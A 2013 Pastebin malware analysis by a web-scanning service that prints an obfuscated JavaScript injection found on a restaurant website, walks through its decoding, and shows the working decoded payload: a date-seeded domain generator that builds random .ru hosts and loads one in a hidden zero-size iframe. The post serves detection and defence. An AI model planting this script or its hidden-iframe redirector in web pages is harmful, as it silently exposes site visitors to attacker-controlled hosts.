Advertisement
Guest User

Quttera Web Malware Monitor detected malicious JavaScript

a guest
Apr 19th, 2013
26
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /******************************
  2.  * Quttera Web Malware monitor detected malicious JavaScript code
  3.  * that use multiple levels of obfuscation. Decoded payload generates
  4.  * hidden iframes to random websites located under *.ru
  5.  *
  6.  * Full report could be found here: http://quttera.com/detailed_report/www.ristoranteada.eu
  7.  *
  8.  * The initial threat code
  9.  ******************************/
  10. var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
  11. document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
  12. window.eval(String.fromCharCode(105, 61, 48, 59, 116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121, 112, 101, 45, 53, 59, 125, 99, 97, 116, 99, 104, 40, 122, 41, 123, 102, 61, 91, 49, 48, 50, 44, ... 116, 114, 121, 123, 113, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 98, 34, 41, 59, 105, 102, 40, 101, 41, 113, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 113, 43, 34, 34, 41, 59, 125, 99, 97, 116, 99, 104, 40, 102, 119, 98, 101, 119, 101, 41, 123, 119, 61, 102, 59, 115, 61, 91, 93, 59, 125, 13, 10, 114, 61, 83, 116, 114, 105, 110, 103, 59, 122, 61, 40, 40, 101, 41, 63, 34, 67, 111, 100, 101, 34, 58, 34, 34, 41, 59, 102, 111, 114, 40, 59, 49, 51, 51, 51, 45, 53, 43, 53, 62, 105, 59, 105, 43, 61, 49, 41, 123, 106, 61, 105, 59, 105, 102, 40, 101, 41, 115, 61, 115, 43, 114, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 40, 119, 91, 106, 93, 47, 40, 50, 45, 49, 43, 106, 37, 50, 41, 41, 41, 59, 125, 13, 10, 105, 102, 40, 102, 41, 101, 40, 115, 41, 59));
  13.  
  14. /*******************************************************
  15.  * First level of decryption
  16.  *******************************************************
  17. i = 0;
  18. try {
  19.     prototype - 5;
  20. } catch (z) {
  21.     f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 220, 100, 222, 109, ... 210, 108, 200, 40, 210, 102, 228, 109, 82, 125, 250, 99, 194, 116, 198, 104, 80, 101, 82, 123, 250, 125, 88, 53, 96, 48, 82, 59];
  22.     v = "e" + "v" + "a";
  23. }
  24. if (v) e = window[v + "l"];
  25. try {
  26.     q = document.createElement("b");
  27.     if (e) q.appendChild(q + "");
  28. } catch (fwbewe) {
  29.     w = f;
  30.     s = [];
  31. }
  32.  
  33. r = String;
  34. z = ((e) ? "Code" : "");
  35. for (; 1333 - 5 + 5 > i; i += 1) {
  36.     j = i;
  37.     if (e) s = s + r.fromCharCode((w[j] / (2 - 1 + j % 2)));
  38. }
  39. if (f) e(s);
  40.  
  41. /*******************************************************************
  42.  * simplified version of this threat
  43.  *******************************************************************/
  44. s = "";
  45. i = 0;
  46. f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 2....];
  47. for (; 1333 - 5 + 5 > i; i += 1) { s = s + String.fromCharCode((f[i] / (2 - 1 + i % 2)));}
  48. eval(s);  
  49.  
  50.  
  51. /*********************************************************************
  52.  * Decoded payload generates hidden iframes to random domains in *.ru
  53.  * http://<random-domain-name>.ru/runforestrun?sid=cx
  54.  ******************************************************************/
  55. function nextRandomNumber() {
  56.     var hi = this.seed / this.Q;
  57.     var lo = this.seed % this.Q;
  58.     var test = this.A * lo - this.R * hi;
  59.     if (test > 0) {
  60.         this.seed = test
  61.     } else {
  62.         this.seed = test + this.M
  63.     }
  64.     return (this.seed * this.oneOverM)
  65. }
  66. function RandomNumberGenerator(unix) {
  67.     var d = new Date(unix * 1000);
  68.     var s = d.getHours() > 12 ? 1 : 0;
  69.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
  70.     this.A = 48271;
  71.     this.M = 2147483647;
  72.     this.Q = this.M / this.A;
  73.     this.R = this.M % this.A;
  74.     this.oneOverM = 1.0 / this.M;
  75.     this.next = nextRandomNumber;
  76.     return this
  77. }
  78. function createRandomNumber(r, Min, Max) {
  79.     return Math.round((Max - Min) * r.next() + Min)
  80. }
  81. function generatePseudoRandomString(unix, length, zone) {
  82.     var rand = new RandomNumberGenerator(unix);
  83.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  84.     var str = '';
  85.     for (var i = 0; i < length; i++) {
  86.         str += letters[createRandomNumber(rand, 0, letters.length - 1)]
  87.     }
  88.     return str + '.' + zone
  89. }
  90. setTimeout(function () {
  91.     try {
  92.         if (typeof iframeWasCreated2 == "undefined") {
  93.             iframeWasCreated2 = true;
  94.             var unix = Math.round(+new Date() / 1000);
  95.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  96.             ifrm = document.createElement("IFRAME");
  97.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
  98.             ifrm.style.width = "0px";
  99.             ifrm.style.height = "0px";
  100.             ifrm.style.visibility = "hidden";
  101.             document.body.appendChild(ifrm)
  102.         }
  103.     } catch (e) {}
  104. }, 500);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement